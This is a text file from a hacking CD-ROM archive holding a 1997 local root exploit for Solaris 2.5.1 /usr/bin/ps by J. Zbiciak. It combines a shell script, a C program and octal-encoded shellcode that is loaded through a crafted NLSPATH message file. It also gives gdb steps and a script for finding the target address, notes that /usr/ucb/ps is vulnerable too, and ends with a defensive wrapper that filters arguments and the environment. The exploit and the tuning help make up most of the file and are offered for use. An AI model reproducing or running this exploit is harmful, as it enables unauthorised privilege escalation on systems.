home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / solaris_ps.txt < prev    next >
Text File  |  2001-11-06  |  14KB  |  396 lines

  1.  
  2. ===============================================================================
  3.  
  4.  
  5. #!/bin/sh
  6. #
  7. # Exploit for Solaris 2.5.1 /usr/bin/ps
  8. # J. Zbiciak, 5/18/97
  9. #
  10.  
  11. # change as appropriate
  12. CC=gcc
  13.  
  14. # Build the "replacement message" :-)
  15. cat > ps_expl.po << E_O_F
  16. domain "SUNW_OST_OSCMD"
  17. msgid "usage: %s\n%s\n%s\n%s\n%s\n%s\n%s\n"
  18. msgstr "\055\013\330\232\254\025\241\156\057\013\332\334\256\025\343\150\220\013\200\016\222\003\240\014\224\032\200\012\234\003\240\024\354\073\277\354\300\043\277\364\334\043\277\370\300\043\277\374\202\020\040\073\221\320\040\010\220\033\300\017\202\020\040\001\221\320\040\010"
  19. E_O_F
  20.  
  21. msgfmt -o /tmp/foo ps_expl.po
  22.  
  23. # Build the C portion of the exploit
  24. cat > ps_expl.c << E_O_F
  25.  
  26. /*****************************************/
  27. /* Exploit for Solaris 2.5.1 /usr/bin/ps */
  28. /* J. Zbiciak,  5/18/97                  */
  29. /*****************************************/
  30. #include <stdio.h>
  31. #include <stdlib.h>
  32. #include <sys/types.h>
  33. #include <unistd.h>
  34.  
  35. #define BUF_LENGTH      (632)
  36. #define EXTRA           (256)
  37.  
  38. int main(int argc, char *argv[])
  39. {
  40.         char buf[BUF_LENGTH + EXTRA];
  41.                       /* ps will grok this file for the exploit code */
  42.         char *envp[]={"NLSPATH=/tmp/foo",0};
  43.         u_long *long_p;
  44.         u_char *char_p;
  45.                         /* This will vary depending on your libc */
  46.         u_long proc_link=0xef70ef70;
  47.         int i;
  48.  
  49.         long_p = (u_long *) buf;
  50.  
  51.         /* This first loop smashes the target buffer for optargs */
  52.         for (i = 0; i < (96) / sizeof(u_long); i++)
  53.                 *long_p++ = 0x10101010;
  54.  
  55.         /* At offset 96 is the environ ptr -- be careful not to mess it up */
  56.         *long_p++=0xeffffcb0;
  57.         *long_p++=0xffffffff;
  58.  
  59.         /* After that is the _ctype table.  Filling with 0x10101010 marks the
  60.            entire character set as being "uppercase printable". */
  61.         for (i = 0; i < (BUF_LENGTH-104) / sizeof(u_long); i++)
  62.                 *long_p++ = 0x10101010;
  63.  
  64.         /* build up _iob[0]  (Ref: /usr/include/stdio.h, struct FILE) */
  65.         *long_p++ = 0xFFFFFFFF;   /* num chars in buffer */
  66.         *long_p++ = proc_link;    /* pointer to chars in buffer */
  67.         *long_p++ = proc_link;    /* pointer to buffer */
  68.         *long_p++ = 0x0501FFFF;   /* unbuffered output on stream 1 */
  69.         /* Note: "stdin" is marked as an output stream.  Don't sweat it. :-) */
  70.  
  71.         /* build up _iob[1] */
  72.         *long_p++ = 0xFFFFFFFF;   /* num chars in buffer */
  73.         *long_p++ = proc_link;    /* pointer to chars in buffer */
  74.         *long_p++ = proc_link;    /* pointer to buffer */
  75.         *long_p++ = 0x4201FFFF;   /* line-buffered output on stream 1 */
  76.  
  77.         /* build up _iob[2] */
  78.         *long_p++ = 0xFFFFFFFF;   /* num chars in buffer */
  79.         *long_p++ = proc_link;    /* pointer to chars in buffer */
  80.         *long_p++ = proc_link;    /* pointer to buffer */
  81.         *long_p++ = 0x4202FFFF;   /* line-buffered output on stream 2 */
  82.  
  83.         *long_p =0;
  84.  
  85.         /* The following includes the invalid argument '-z' to force the
  86.            usage msg to appear after the arguments have been parsed. */
  87.         execle("/usr/bin/ps", "ps", "-z", "-u", buf, (char *) 0, envp);
  88.         perror("execle failed");
  89.  
  90.         return 0;
  91. }
  92. E_O_F
  93.  
  94. # Compile it
  95. $CC -o ps_expl ps_expl.c
  96.  
  97. # And off we go!
  98. exec ./ps_expl
  99.  
  100.  
  101.  
  102.  
  103.  
  104.  
  105.  
  106. ===========================================================================
  107.  
  108.  
  109.  
  110.  
  111. A number of you have written saying that the exploit doesn't work.
  112. The biggest problem is that the exploit relies on a very specific
  113. address (which I put in the proc_link variable) in order to work.
  114.  
  115. (Incidentally, as some have noted, there was a stray '*' in one of
  116. the versions I sent out which causes some warnings to be generated.
  117. Change "u_long *proc_link=..." to "u_long proc_link=..." if this
  118. bothers you.  The warnings are benign in this case.)
  119.  
  120. The following shortcut seems to work for finding the value for
  121. the bothersome proc_link variable.  You don't need to be a gdb whiz
  122. to do this:
  123.  
  124. $ gdb ./ps
  125. GDB is free software and you are welcome to distribute copies of it
  126.  under certain conditions; type "show copying" to see the conditions.
  127. There is absolutely no warranty for GDB; type "show warranty" for details.
  128. GDB 4.16 (sparc-sun-solaris2.4),
  129. Copyright 1996 Free Software Foundation, Inc...(no debugging symbols found)...
  130. (gdb) break exit
  131. Breakpoint 1 at 0x25244
  132. (gdb) run
  133. Starting program: /home3/student/im14u2c/c/./ps
  134. (no debugging symbols found)...(no debugging symbols found)...
  135. (no debugging symbols found)...Breakpoint 1 at 0xef7545c0
  136. (no debugging symbols found)...   PID TTY      TIME CMD
  137.   9840 pts/27   0:01 ps
  138.  19499 pts/27   0:10 bash
  139.   9830 pts/27   0:02 gdb
  140.  
  141. Breakpoint 1, 0xef7545c0 in exit ()
  142. (gdb) disassemble exit
  143. Dump of assembler code for function exit:
  144. 0xef7545c0 <exit>:      call  0xef771408 <_PROCEDURE_LINKAGE_TABLE_+7188>
  145. 0xef7545c4 <exit+4>:    nop
  146. 0xef7545c8 <exit+8>:    mov  1, %g1
  147. 0xef7545cc <exit+12>:   ta  8
  148. End of assembler dump.
  149. (gdb)
  150.  
  151. The magic number is in the "call" above: 0xef771408.
  152.  
  153. For the extremely lazy, the following shell script worked for me to
  154. extract this value from the noise.  Your Mileage May Vary.
  155.  
  156. --- extract_proc_link.sh
  157. #!/bin/sh
  158.  
  159. cp /usr/bin/ps ./ps
  160. FOO="`cat << E_O_F | gdb ./ps | grep PROC | cut -d: -f2 | cut -d\< -f1
  161. break exit
  162. run
  163. disassemble exit
  164. quit
  165. y
  166. E_O_F
  167. `"
  168.  
  169. rm -f ./ps
  170.  
  171. set $FOO foo
  172.  
  173. [ -f "$1" = "foo" ] && echo "Try something else" && exit 1;
  174.  
  175. echo "  u_long proc_link=$2;"
  176. --- EOF
  177.  
  178. Note, this sets the proc_link variable to the routine "exit" calls, so
  179. you will probably get garbage on your screen when the exploit runs.
  180. Solution: To it from an xterm or something which lets you do a "reset"
  181. to nullify the action of the control characters in the exploit.
  182.  
  183. Incidentally, it appears that /usr/ucb/ps is equally succeptable to this
  184. hole, except the vulnerability is on the -t argument, and the string
  185. grokked by gettext is different, so the "ps_expl.po" file needs to be
  186. changed slightly.  Fortunately, "environ" and "proc_link" are pretty
  187. much the same.  (Use the "extract" script above on /usr/ucb/ps, etc.)
  188.  
  189.  
  190.  
  191. ============================================================================
  192.  
  193.  
  194.  
  195.  
  196. Here's a generic wrapper I've written that you can use as an interim
  197. solution for wrapping /usr/bin/ps and /usr/ucb/ps.  (/usr/ucb/ps looks
  198. to be similarly vulnerable.)  The code is fairly well documented IMHO,
  199. and should be adaptable enough to wrap just about any program.
  200.  
  201. This wrapper also filters environment variables, so if you have binaries
  202. which blindly trust certain variables (NLSPATH is a common one in Solaris),
  203. you can filter out those variables.  (You could also fairly trivially
  204. add in default values for some variables if you needed to, such as for
  205. NLSPATH.)
  206.  
  207. Finally, this wrapper will log exploit attempts to syslog if you configure
  208. that option.  The log facility, log priority, and log ident are all
  209. configurable with #defines.  I've currently set the code to LOG_ALERT
  210. on LOG_LOCAL0, with ident "wrapper".  To prevent problems with syslog,
  211. the wrapper even limits the number of characters it writes per log
  212. message.  (Note:  This limit is on the number of characters per message,
  213. not including the identifier, PID, etc.)
  214.  
  215. I make no guarantee or warranty about this code; it looks good/works fine
  216. for me.  :-)   If you have problems configuring this wrapper for a
  217. particular program, first read all the comments in the source, and then
  218. email me if you still can't figure it out.  :-)
  219.  
  220. Incidentally, it's safe to leave ps lying around without the suid-bit;
  221. it'll happily list the calling user's own processes, and those processes
  222. alone.  That's one of the wonderful advantages of a /proc based ps.  :-)
  223.  
  224. --- wrapper.c
  225.  
  226. /*****************************************************************/
  227. /* Generic wrapper to prevent exploitation of suid/sgid programs */
  228. /* J. Zbiciak, 5/19/97                                           */
  229. /*****************************************************************/
  230.  
  231. #include <stdio.h>
  232. #include <syslog.h>
  233. #include <strings.h>
  234. #include <unistd.h>
  235. #include <errno.h>
  236.  
  237. static char rcsid[]="$Id: wrapper.c,v 1.1 1997/05/19 22:48:03 jzbiciak Exp $";
  238.  
  239. /**************************************************************************/
  240. /* To install, move wrapped executable to a different file name.  (I like */
  241. /* just appending an underscore '_' to the filename.)  Then, remove the   */
  242. /* offending permission bit.  Finally, place this program in the wrapped  */
  243. /* program's place with the appropriate permissions.   Enjoy!             */
  244. /**************************************************************************/
  245.  
  246. /* Tunable values per program being wrapped                               */
  247. #define WRAPPED "/usr/bin/ps"   /* Set to full path of wrapped executable */
  248. #define REALBIN WRAPPED"_"      /* Usually can be left untouched.         */
  249. #define MAX_ARG (32)            /* Maximum argv parameter length.         */
  250. #define SYSLOG 1                /* Enable/disable SYSLOGging              */
  251. #define FACILITY LOG_LOCAL0     /* Facility to syslog() to                */
  252. #define PRIORITY LOG_ALERT      /* Priority level for syslog()            */
  253. #define LOGIDENT "wrapper"      /* How to identify myself to syslog()     */
  254.  
  255. typedef struct tEnvInfo
  256. {
  257.         char * env;             /* Environment var name with trailing '=' */
  258.         int name_len;           /* Length of name (including '=')         */
  259.         int max_len;            /* Max length of value assignable to var  */
  260. } TEnvInfo;
  261.  
  262. /* aside:  trailing '=' is necessary to prevent problems with variables   */
  263. /*         whose names prefix each other.                                 */
  264.  
  265. TEnvInfo allowed_env [] =       /* Environ. vars we allow program to see  */
  266. {
  267.         { "COLUMNS=",           8,      4  },
  268.         { "LC_CTYPE=",          9,      64 },
  269.         { "LC_MESSAGES=",       11,     64 },
  270.         { "LC_TIME=",           8,      64 },
  271.         { "LOGNAME=",           8,      16 },
  272.         { "TERM=",              5,      16 },
  273.         { "USER=",              5,      16 },
  274. };
  275. #define NUM_ALLOWED_ENV (sizeof(allowed_env)/sizeof(TEnvInfo))
  276.  
  277. /* Internal use only -- shouldn't need to adjust, usually                */
  278. #define MSG_LEN (192)          /* Maximum output message length.         */
  279. #define MAX_LOG (64)           /* Maximum length per call to syslog()    */
  280.  
  281. #ifndef SYSLOG
  282. #error Define "SYSLOG" to be either 1 or 0 explicitly
  283. #endif
  284.  
  285. /* No user serviceable parts inside (End of configurable options)        */
  286.  
  287. /* Log a message to syslog, and abort */
  288. void log(char * s)
  289. {
  290. #if SYSLOG
  291.     char buf[MAX_LOG];
  292.     int l;
  293.  
  294.     l=strlen(s);
  295.  
  296.     /* Open up syslog; use "Local0" facility */
  297.     openlog(LOGIDENT "[" WRAPPED "]",LOG_PID,FACILITY);
  298.  
  299.     do {
  300.         strncpy(buf,s,MAX_LOG-1);
  301.         buf[MAX_LOG-1]=0;
  302.         syslog (PRIORITY,buf);
  303.         l-=64;
  304.         if (l>0) s+=MAX_LOG-1;
  305.     } while (l>0);
  306.  
  307.     closelog();
  308. #endif
  309.  
  310.     exit(1);
  311. }
  312.  
  313. /* The main event */
  314. int main(int argc, char * argv[], char *envp[])
  315. {
  316.     int i,j,k;
  317.     char buf[MSG_LEN];
  318.  
  319.     /* Check all of argv.  Log and exit if any args have length > MAX_ARG */
  320.     for (i=0;i<argc && argv[i]!=0;i++)
  321.     {
  322.         if (strlen(argv[i])>MAX_ARG)
  323.         {
  324.             printf("Error: Aborting!\n"
  325.                    " Excessive commandline argument length: '%s'\n", argv[i]);
  326.             /* Safe since uid/gid etc. are max 5 chars apiece */
  327.             sprintf(buf,
  328.                 "Attempted overrun (argv): "
  329.                 "uid=%.5d gid=%.5d euid=%.5d egid=%.5d\n",
  330.                 (int)getuid(),(int)getgid(),(int)geteuid(),(int)getegid());
  331.             log(buf);
  332.             exit(1);  /* safety net */
  333.         }
  334.     }
  335.  
  336.     /* Check all of envp.  Throw out any environment variables which
  337.        aren't in "allowed_env[]".  If any variables permitted by
  338.        "allowed_env[]" are too long, log and exit. */
  339.  
  340.     for (i=j=0; envp[i]!=0; i++)
  341.     {
  342.         for (k=0;k<NUM_ALLOWED_ENV;k++)
  343.         {
  344.             if (strncmp(envp[i],
  345.                         allowed_env[k].env,
  346.                         allowed_env[k].name_len)==0)
  347.                 break;
  348.         }
  349.         if (k!=NUM_ALLOWED_ENV)
  350.         {
  351.             if (strlen(envp[i]) >
  352.                 allowed_env[k].max_len+allowed_env[k].name_len)
  353.             {
  354.                 printf("Error: Aborting!\n"
  355.                         " Excessive environment variable length: '%s'\n",
  356.                         envp[i]);
  357.                 /* Safe because we have control over allowed_env[] */
  358.                 sprintf(buf,
  359.                     "Attempted overrun (env var '%s'): "
  360.                     "uid=%.5d gid=%.5d euid=%.5d egid=%.5d\n",
  361.                     allowed_env[k].env,
  362.                     (int)getuid(),(int)getgid(),(int)geteuid(),(int)getegid());
  363.                 log(buf);
  364.                 exit(1);  /* safety net */
  365.             }
  366.             envp[j++]=envp[i];
  367.         }
  368.         if (j>NUM_ALLOWED_ENV)
  369.         {
  370.             log("Internal error to wrapper -- too many allowed env vars");
  371.             exit(1);  /* safety net */
  372.         }
  373.     }
  374.     envp[j]=0;
  375.  
  376.     /* If we make it this far, we're good to go. */
  377.     argv[0]=WRAPPED;
  378.     execve(REALBIN, argv, envp);
  379.  
  380.     /* Safe, because errno number is very few chars */
  381.     sprintf(buf, "execve failed!  errno=%.5d\n",errno);
  382.     perror("execve() failed");
  383.     log(buf);
  384.  
  385.     exit(1); /* safety net */
  386.  
  387. }
  388.  
  389. --- EOF
  390.  
  391.  
  392.  
  393.  
  394.  
  395. ============================================================================
  396.